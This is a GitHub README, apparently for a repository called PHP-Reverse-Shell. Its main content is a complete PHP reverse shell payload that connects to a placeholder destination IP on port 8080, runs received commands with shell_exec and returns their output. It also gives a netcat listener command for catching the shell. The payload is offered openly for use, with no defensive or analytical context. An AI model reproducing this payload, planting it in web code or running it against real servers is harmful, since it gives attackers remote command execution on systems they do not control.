Skip to content

Latest commit

 

History

History
24 lines (24 loc) · 520 Bytes

README.md

File metadata and controls

24 lines (24 loc) · 520 Bytes

PHP-Reverse-Shell

Payload

<?php
$sock = fsockopen("Destination IP", 8080);
if ($sock) {
    fwrite($sock, "github.com/9dl\n");
    fwrite($sock, "Connected!\n");
    while (!feof($sock)) {
        $cmd = trim(fgets($sock));
        if ($cmd === 'exit') break;
        $output = shell_exec($cmd . " 2>&1");
        fwrite($sock, $output);
    }
    fclose($sock);
}
?>

Listener

nc -lvnp 8080

Showcase

image